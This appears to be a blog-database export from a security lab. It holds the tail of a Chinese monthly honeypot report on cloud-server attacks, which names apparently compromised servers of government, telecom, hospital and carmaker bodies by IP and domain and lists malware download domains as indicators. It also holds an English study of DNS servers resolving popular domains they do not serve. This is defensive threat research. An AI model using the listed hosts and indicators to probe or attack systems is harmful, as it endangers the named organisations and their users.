accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">浙江省</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">2cwww.hz-hospital.com<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">医疗卫生</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">杭州市第一人民医院</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;mso-yfti-lastrow:yes;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">139.196.29.41<o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">上海市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">amis.tiandirenfarm.com<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">农业</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">海南天地人公司农业信息化管理系统</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-9.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-10.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-11.png"}],["gallery",{"images":[{"fileName":"honda1.png","row":0,"width":1115,"height":1117,"src":"__GHOST_URL__/content/images/2021/12/honda1.png"},{"fileName":"honda2.jpg","row":0,"width":636,"height":406,"src":"__GHOST_URL__/content/images/2021/12/honda2.jpg"}]}]],"markups":[["strong"]],"sections":[[1,"h2",[[0,[],0,"1 概述"]]],[1,"p",[[0,[],0,"2021年11月，360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）共监测到全球53745个云服务器发起的网络会话9016万次，与10月份的数据相比略有下降，IP数量下降7.7%，会话数量下降2.1%。但是，本月我们发现了多起重点单位的云上资产对外发起攻击事件，涉及"],[0,[0],1,"政府机关、公共事业、通信、交通运输、工业制造、医疗卫生、传媒、农业8个行业的8个IP地址"],[0,[],0,"。值得关注的是我们发现了"],[0,[0],1,"中国电信邮箱服务器"],[0,[],0,"和"],[0,[0],1,"多地政府机关食堂订餐系统"],[0,[],0,"可能被黑客入侵。"]]],[1,"h2",[[0,[],0,"2 云服务器攻击总体情况"]]],[1,"p",[[0,[],0,"从时间趋势上看，11月份大多数时间每天具有攻击行为云服务器IP地址仍然在600~1000个范围内，整体上看云服务器攻击源IP数量随着时间逐渐增加。除了11月22日~11月24日的突增外，会话数量也比较稳定。"]]],[1,"p",[[0,[],0,"11月22日~24日的突增主要是由以下两个IP地址造成的：一个是119.45.*.*，在11月22~24日每天向蜜罐系统发送了数十万个敏感文件嗅探数据包以及上千个微软OMI漏洞攻击数据包。另一个是188.166.*.*，该服务器在11月24日一天内向蜜罐系统发送了18万个Telnet暴力破解数据包。"]]],[10,0],[1,"p",[[0,[],0,"从地理位置看，中国和美国仍然是攻击源IP数量最多的两个国家。相比于上月，本月来自欧洲的攻击源数量有所减少。"]]],[10,1],[1,"p",[[0,[],0,"中国国内攻击源的地理分布与上周基本相同，主要集中在北京、上海、广东、浙江四个地区。"]]],[10,2],[1,"p",[[0,[],0,"按云服务商维度来看，阿里云、腾讯云、DigitalOcean和亚马逊AWS仍然是四个最主要的攻击来源，但是与上月相比，来自腾讯云和DigitalOcean的攻击会话数量明显增多。特别是腾讯云的攻击会话数量从上月的10万左右增加到了本月超过100万。"]]],[10,3],[1,"h2",[[0,[],0,"3 云服务器上的恶意行为"]]],[1,"p",[[0,[],0,"本节中出现的云服务器恶意行为参考阿里云发布的《云平台安全规则》和腾讯云发布的《云安全违规处罚等级划分说明》。"]]],[1,"h3",[[0,[],0,"使用云产品进行攻击"]]],[1,"p",[[0,[],0,"11月份我们共监测到965个云服务器IP发起了约62.1万次密码爆破攻击，无论是攻击源IP数量还是爆破攻击数量都比上月明显增加，其中源IP数量增加13%，爆破攻击数量增加142%。Telnet仍然是最多被爆破攻击的协议。"]]],[1,"p",[[0,[],0,"以下是11月爆破攻击次数最多的10个IP地址，全部来自DigitalOcean，目标都是Telnet协议。"]]],[10,4],[1,"p",[[0,[],0,"虽然爆破会话次数最多的10个IP均来自于DigitalOcean，但总体来看亚马逊AWS和阿里云的爆破IP数量更多。"]]],[10,5],[1,"p",[[0,[],0,"在传播木马病毒等恶意软件方面，11月份共有3817个云服务器IP传播了110种恶意软件约147.3万次。与10月相比，虽然恶意软件的家族种类有所减少，但源IP和会话数都明显增加。其中会话数量增加了67%，IP数量增加15%。阿里云和腾讯云仍然是传播恶意软件IP来源最多的云服务商。"]]],[10,6],[1,"p",[[0,[],0,"本月，恶意挖矿程序（CoinMiner）无论是从传播IP数还是会话数都位列第一位，相比10月，传播恶意挖矿程序的IP数量增加了约16%，会话数量增加了约40%。"]]],[10,7],[1,"p",[[0,[],0,"此外，最多云服务器攻击源IP传播的10个恶意软件中，家族类型已知的7个恶意软件全部为Linux恶意挖矿程序，说明云服务器传播恶意挖矿软件问题已经非常严重。"]]],[10,8],[1,"p",[[0,[],0,"下表是传播恶意软件次数最多的10个IP。"]]],[10,9],[1,"p",[[0,[],0,"下表是传播恶意软件家族种类最为广泛的10个IP。恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。"]]],[10,10],[1,"p",[[0,[],0,"下面是恶意软件的下载URL中提取的下载服务器的IP/域名。"]]],[10,11],[1,"p",[[0,[],0,"en2an.top、teamtnt.red和104.192.82.138是11月新进入前10的下载服务器。其中en2an.top注册于2021年11月27日，是11月新注册的域名，目前关于该域名的IOC信息比较少，容易被忽略，建议相关单位及时关注和屏蔽该域名。"]]],[1,"h3",[[0,[],0,"卸载云主机安全产品"]]],[10,12],[1,"p",[[0,[],0,"由于目前我们只筛选了卸载阿里云安骑士的行为，还没有筛选出卸载国外云厂商的主机安全产品的行为，所以攻击源主要来自国内云厂商IP。下面是传播具有卸载云主机安全产品行为的恶意软件最多的10个IP。"]]],[10,13],[1,"p",[[0,[],0,"执行卸载主机安全产品行为的软件和脚本主要通过以下这些IP/域名下载。"]]],[10,14],[1,"h3",[[0,[],0,"漏洞的扫描和攻击"]]],[1,"p",[[0,[],0,"和10月一样，Redis漏洞仍然是被云服务攻击者使用最多的漏洞。其他还包括SMTP协议扫描、敏感文件嗅探、Hyland拒绝服务漏洞攻击等。相比于10月，本月针对安防产品和路由器的云服务器攻击者相对较少。"]]],[10,15],[1,"p",[[0,[],0,"Redis是被攻击次数最多的设备，占到了所有漏洞攻击会话的约40%，此外也有较多针对DLink、GoAhead、Hadoop和Atlassian等厂商的设备的攻击。"]]],[10,16],[1,"p",[[0,[],0,"从CVE编号来看，CVE-2019-16920是利用最多的有CVE编号的漏洞，占有CVE编号漏洞整体的43.2%。此外，CVE-2017-8225和CVE-2021-26084也是被攻击者利用次数较多的漏洞，分别占比22%和10.7%。"]]],[10,17],[1,"p",[[0,[],0,"以下是利用的漏洞种类最多的10个IP。"]]],[10,18],[1,"h3",[[0,[],0,"发送垃圾邮件"]]],[1,"p",[[0,[],0,"由于大多数云服务商都禁止将云服务器用作邮箱服务器，并屏蔽了云服务器的25端口（用于发送邮件的SMTP服务的默认端口），攻击者很难直接用云服务器发送钓鱼邮件和垃圾邮件。但是，攻击者会扫描并攻击互联网上可用的邮件服务器，一旦成功登陆，就会用被攻击的邮箱服务器发送垃圾钓鱼邮件。11月份我们共发现22个攻击源IP尝试用蜜罐发送垃圾邮件435封，其中光是54.186.136.108这一个IP地址就发送了358封。下面是发送垃圾邮件最多的10个IP地址，除了有一个腾讯云的IP外，其余IP都属于境外服务商。"]]],[10,19],[1,"p",[[0,[],0,"从垃圾邮件的内容上看，垃圾钓鱼邮件主要使用的语言是英语，邮件内容主要是返回base64编码的被攻击邮箱的账号密码信息和涉及金钱的诈骗信息等。"]]],[1,"h2",[[0,[],0,"4 云上重点单位攻击事件案例分析"]]],[1,"p",[[0,[],0,"本月我们发现了较多起云上重点单位资产发起对外攻击的案例，包括了"],[0,[0],1,"多地政府机关的食堂订餐系统，某地事业单位的主页，某单位船舶管理系统，某车企正在开发中的客服平台，大型三甲公立医院，以及大型国有电信运营商的云上企业邮箱服务等等"],[0,[],0,"。这些重点单位服务器被黑客入侵后可能会造成用户个人信息、业务数据等敏感信息泄露，建议有关单位及时采取措施处置。"]]],[10,20],[1,"h4",[[0,[],0,"1） 多地政府机关食堂订餐系统"]]],[1,"p",[[0,[],0,"我们发现一个IP地址为123.57.8.100的阿里云服务器IP在11月6日和11月14日有FTP暴力破解并上传恶意文件的行为，与上月发现的供排水公司案例类似。这个IP地址对应的域名属于威尔智慧科技（深圳）有限公司，该公司主要业务是智能食堂系统。我们发现至少有3家政府机关单位的食堂订餐系统直接运行在这个服务器上，分别是"],[0,[0],0,"大阁镇职工食堂、广东省新丰江林业管理局食堂和金湖县金税食"],[0,[],1,"堂"],[0,[],0,"。黑客入侵后，上述机关单位的职员信息有泄露的隐患。"]]],[10,21],[1,"h4",[[0,[],0,"2） 晋中市煤炭规划设计研究院官网"]]],[1,"p",[[0,[],0,"11月4日，IP地址为8.142.72.84的阿里云服务器出现扫描TCP/8080端口，利用JBoss和Jenkins的远程代码执行漏洞攻击，以及传播木马下载器（TrojanDownloader）等恶意软件等行为。该云服务器绑定域名mtghsjy.cn，为晋中市煤炭规划设计研究院（事业单位）官网。"]]],[10,22],[1,"h4",[[0,[],0,"3） 中国电信企业邮箱"]]],[1,"p",[[0,[],0,"IP地址为42.123.76.231的中国电信天翼云服务器在11月9日到11月28日期间多次用SMB协议扫描TCP/139和TCP/445端口。相关域名有oa-prtmail.21cn.net，mta.chinatelecom.cn和smtpnm04.21cn.net等。21cn.net是中国电信企业邮箱的专用域名，可以基本确定这是中国电信企业邮箱的邮件服务器。根据首页信息，该SaaS企业邮箱的客户包括中国电信、武汉市政府、申银万国证券等电信、政府、金融行业重要单位。如果黑客已经成功入侵，这些单位的雇员信息、业务往来邮件等都有泄露的风险。"]]],[10,23],[1,"h4",[[0,[],0,"4） 东风本田公司客服平台"]]],[1,"p",[[0,[],0,"IP地址为117.78.18.35的华为云服务器在11月5日到10日在TCP/6379端口扫描和利用Redis数据库漏洞，并传播恶意挖矿和木马软件。该服务器对应域名pmonline.dongfeng-honda.com，是东风本田公司的域名。该域名能找到下图绑定微信号页面以及微信公众号二维码，应该是东风本田公司正在开发中的客服平台。"]]],[10,24],[1,"p",[[0,[],0,"对以上案例的其他细节或其他未详细介绍的案例感兴趣的读者，可以通过文章底部的邮箱与我们联系。"]]],[1,"h2",[[0,[],0,"5 防护建议 "]]],[1,"p",[[0,[],0,"对上述典型案例中涉及的IP地址，我们建议其域名拥有者与平台提供者协商，同时雇佣第三方独立安全公司对其网站安全做全面审计。如有必要，可以考虑将公民隐私相关信息的存储位置，放置在更加远离公网访问界面的位置。"]]],[1,"h2",[[0,[],0,"6 联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。"]]],[1,"p",[]]],"ghostVersion":"3.0"} | 61a9b8dc3819e5000763698f |
post | null | 2021-12-08T02:09:53.000Z | 63873b9a8b1c1e0007f52ffb | an-assessment-of-non-authorized-domain-name-resolution-provided-by-dns-resolution-service-provider | 0 | 2021-12-08T02:53:43.000Z | public | published | null | 2021-12-08T02:53:43.000Z | An assessment of Non-Authorized Domain Name Resolution provided by DNS Resolution Service Provider | <!--kg-card-begin: markdown--><h2 id="summary">Summary</h2>
<p>In a <a href="__GHOST_URL__/the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service/">previous article</a>, we disclosed that the Specter botnet uses api. github[.]com and other white domains to provide C2 services as a way to evade detection by security products based on signature and threat intelligence matching. The botnet can do this because the Domain Name Resolution provider have no check for customer to claim any DNS names.</p>
<p>We were wondering what the overall situation is, so we measured and evaluated this phenomenon, i.e., whether domain name registrars/hosts, public cloud providers, and other providers that provide domain name registration and resolution services (collectively referred to as resolution service providers) are able to return correct responses to DNS requests for domains not served by them.</p>
<p>This article provides an analysis of this phenomenon.</p>
<h2 id="dataselectionandevaluationmethodology">Data Selection and Evaluation Methodology</h2>
<h3 id="domainsundertest">Domains Under Test</h3>
<p>Tested domains: Alexa top500. they were chosen because</p>
<ol>
<li>
<p>These domains use their own DNS servers, and they do not use resolution services provided by external resolution providers. So if these domains can be resolved by NS servers of external resolution service providers, they are most likely to be unauthorized.</p>
</li>
<li>
<p>It is common practice that these domains are on various security whitelists because of their well-known operations. In fact, the use of DNS traffic to rank domain names more accurately reflect the popularity of domain names. 360netlab's DNSMon system can calculate the popularity of domain names in the large network</p>
</li>
</ol>
<h3 id="thensservers">The NS servers</h3>
<p>The test NS server: that is, the resolution provider. Extracted from 360netlab's passiveDNS library, <strong>18,469</strong> NS servers that were active in the last six months and provided resolution services for more than 500 independent second-level domain names.</p>
<h3 id="testmethod">Test Method</h3>
<p>The domain name under test will be tried to resolve through the test NS server one by one (UDP/53), if the DNS return result of the test server is NOERROR (regardless of whether there is a real RDATA return), the server under test is considered to provide resolution of the domain name under test.</p>
<h2 id="evaluationresults">Evaluation Results</h2>
<h3 id="overallresolutionsituation">Overall resolution situation</h3>
<p>At the time of test, of the 18,469 NS servers, 18,154 were able to resolve to an address, accounting for 98.29% of the total. There are 17,792 servers that can resolve to the address and have a response, accounting for 96.33% of the total. Even though we screened the NS servers with resolution records in the past six months, 3.67% of the servers were inactive at the time of the test, so we can see that the infrastructure of NS service providers is in constant change.<br>
The following article uses the data of 17,792 NSs as the basis for analysis.</p>
<p>In terms of the number of resolutions, the response rate of 17,792 NS servers is 70.12% ~(6237860/(17,792*500)), which means that 30% of requests are lost when the servers are active, generally due to server timeouts.</p>
<p>Among all responses, the percentage of Rcode for Refuse is 75, and the percentage of NOERROR is about 22%. The specific distribution of the following chart<br>
<img src= "/content/images/2021/12/rcode_distrubtion-1.png" width="860px" /></p>
<p>In terms of NS servers, 17,792 NS servers, the return of NOERROR record of NS servers are 9544, accounting for about 53.64%.</p>
<p>In terms of NS server secondary domain, 17792 NS corresponds to 4149 secondary domains, of which there are 1687 secondary domains that return NOERROR records, accounting for about 40.66% of the total. That is to say, <em>in our selected test servers about 40% of NS servers will return a domain name resolution that is not their own customers</em>.</p>
<p>Based on experience, if such resolution records are added by individual users, it is guessed that the higher ranked domains are more likely to be added and resolved. So we counted the percentage of resolution of Alexa Top100 and the percentage of resolution of all tested domains (i.e. Alexa Top500) for each tested server that returned NOERROR. We sorted the resolution success rate of Alexa Top100 domains by resolution server. The statistical curves are shown below.<br>
<img src = "/content/images/2021/12/top100_vs_top500-1.png" width="860px"/></p>
<p>From the graph, it is obvious that these 9544 servers can be divided into 4 groups, namely</p>
<ul>
<li>NS servers ranked from 1 to 2250 have a resolution rate of more than 60% for top100 and top500 domain names</li>
<li>NS servers ranking 2250-3300 have a rapid decline from 60% to less than 20% of the domain names under test</li>
<li>NS servers ranked 3300-6000 are slowly decreasing from 20% to about 2%.</li>
<li>NS servers ranked after 6000 occasionally have a small amount of resolution, the proportion of basic in about 1%.</li>
</ul>
<p>In addition, it can be seen from the graph that there is no significant difference in the proportion of tested domains in Alexa Top100 and Top500. This may be due to the fact that there is little difference in the perception of users between the top 100 and 500 domains in Alexa.</p>
<h3 id="analysisofresolutionresults">Analysis of resolution results</h3>
<p>Another perspective on this data is the resolution results. Where exactly do these NS servers resolve these popular domains to.<br>
In the returned results, about 20.92% of the data on the second-level domain is not configured with a valid DNS record with a NOERROR returns, such cases are mostly for the detection of the domain name is configured with the corresponding NS server, but not configured for other types of records.</p>
<h3 id="thedomainswithips">The domains with IPs</h3>
<p>In the return results which have DNS A records, the geographic location of the resolved IPs is mainly concentrated in the United States, followed by China and Russia, and the Top 10 distribution is as follows:</p>
<pre><code> 4378 United_States
579 China
395 Russian_Federation
350 United_Kingdom
216 CLOUDFLARE.COM
213 Netherlands
212 Germany
209 Japan
195 Republic_of_Korea
123 Singapore
</code></pre>
<p>It is worth mentioning that about 3% of the many returned A records are reserved or private addresses, and the most popular of these addresses is 127.0.0.1. The top 10 addresses are as follows:</p>
<pre><code> 33093 127.0.0.1
856 10.10.34.35
425 192.168.3.3
154 10.10.10.10
69 10.10.34.36
52 10.152.68.117
45 10.10.34.34
42 192.168.1.1
27 127.0.0.11
22 0.0.0.0
</code></pre>
<h3 id="errorrateofresolutionresults">Error rate of resolution results</h3>
<p>We compared the results from non-authorized resolution service providers with the correct resolution results and found that 80% of the domain names (i.e. 400) had an error rate of 90% or more, and the best case domain name error rate was as high as 68%, which is a quite high.</p>
<p>Different domain name resolution error rate curves are as follows.<br>
<img src = "/content/images/2021/12/resolve_wrong_ratio-1.jpg" width="860px" /></p>
<h3 id="domainnameperspective">Domain name perspective</h3>
<p>How many NSs do the top500 domains resolve on? What is the distribution of the percentage<br>
Among the 500 domains, the least resolved domain name is express.dhl, with 1483 NS servers resolving it, and the most resolved is yts.mx, with 3114 NS servers resolving it. However, from the results of their resolution, the number of rdata resolved by different domains is relatively stable, mostly around 800. <strong>It can be seen that it is very common but very surprising for popular domains to be added to various non-authorized resolvers</strong>. The specific distribution is as follows.</p>
<img src = "/content/images/2021/12/resovler_num_and_rdata_num-1.jpg" width="860px" />
<h2 id="casestudy">Case Study</h2>
<p>Why so many popular domain names are added to be resolved by non-authorized NS servers? Let's take yts.mx and mozilla.org as examples to see what is going on here.</p>
<h3 id="ytsmx">yts.mx</h3>
<p>yts.mx was chosen for analysis because it is the domain name that resolved by most NS servers in our test.</p>
<p>yts.mx is a P2P movie downloads site, and is ranked No. 462 in the Alexa data we used. We can see there are 2886 non-authorized resolving servers that can resolve yts.mx, and only 73 of the NS servers are giving us correct results, the incorrect resolution rate of 97.47%, and within them, the top NS servers are:<br>
<img src = "/content/images/2021/12/yts.mx-1.jpg" width = "860px"/></p>
<p>Most of this list are IT infrastructure service providers offering domain name registration, web service hosting, hosting services, etc. Not surprisingly cloudns mentioned in our last article is listed.</p>
<p>Looking at the IPs that resolved incorrectly, they point to a total of 750 IP addresses, aggregating to 149 network segments. The top10 of these segments and the usage of these segments are analyzed as follows.<br>
<img src = "/content/images/2021/12/yts.mx.wrong_rdata_detail-1.png" width = "860px" /></p>
<h3 id="mozillaorg">mozilla.org</h3>
<p>mozilla.org was chosen because mozilla.org is the official website of the Firefox browser and is well known to the public and it is ranked 182 by Alexa. We dug in our passiveDNS.cn and could see mozilla.org has been using akamai as their resolver since 2014.<br>
<img src = "/content/images/2021/12/mozilla_auth_ns-1.jpg" width="860px" /></p>
<p>Its resolution results have changed a little bit over time, after November 2020, it has been using amazon's service.<br>
<img src = "/content/images/2021/12/mozilla_auth_a-1.png" width="860px" /></p>
<p>However, in our test data, there are 2,624 NS servers capable of resolving mozilla.org, with 735 resolved IP addresses.</p>
<p>The top 10 resolvers are as follows.</p>
<pre><code> 846 hostgator.com
520 gandi.net
369 register.com
83 orderbox-dns.com
70 worldnic.com
51 dan.hosting
47 hostgator.mx
33 ztomy.com
30 cloudns.net
16 zoneedit.com
</code></pre>
<p>This entry on this list is very similar to the yts.mx example.</p>
<p>Except akam.net and cloudflare.com, only 62 NS servers can correctly return the A records. In other words, <strong>70% of the non-authorized NS servers are returning the wrong IPs</strong>.</p>
<p>In terms of incorrectly resolved IPs, 730 incorrect IPs (5 IPs were correctly resolved) were aggregated to 153 CIDR/24 segments, with top10 segments accounting for 75.9% of the total incorrectly resolved volume. We analyzed in detail the CIDR/24 segments of the Top10 incorrectly resolved, and found that they are mainly registered by domain name registrars/resolvers, and the final resolution destination IPs are used for domain name parking, redirection and domain name sale purposes. The specific results are shown in the following chart:<br>
<img src = "/content/images/2021/12/mozilla_detail_analysis-1.jpg" width="860px" /></p>
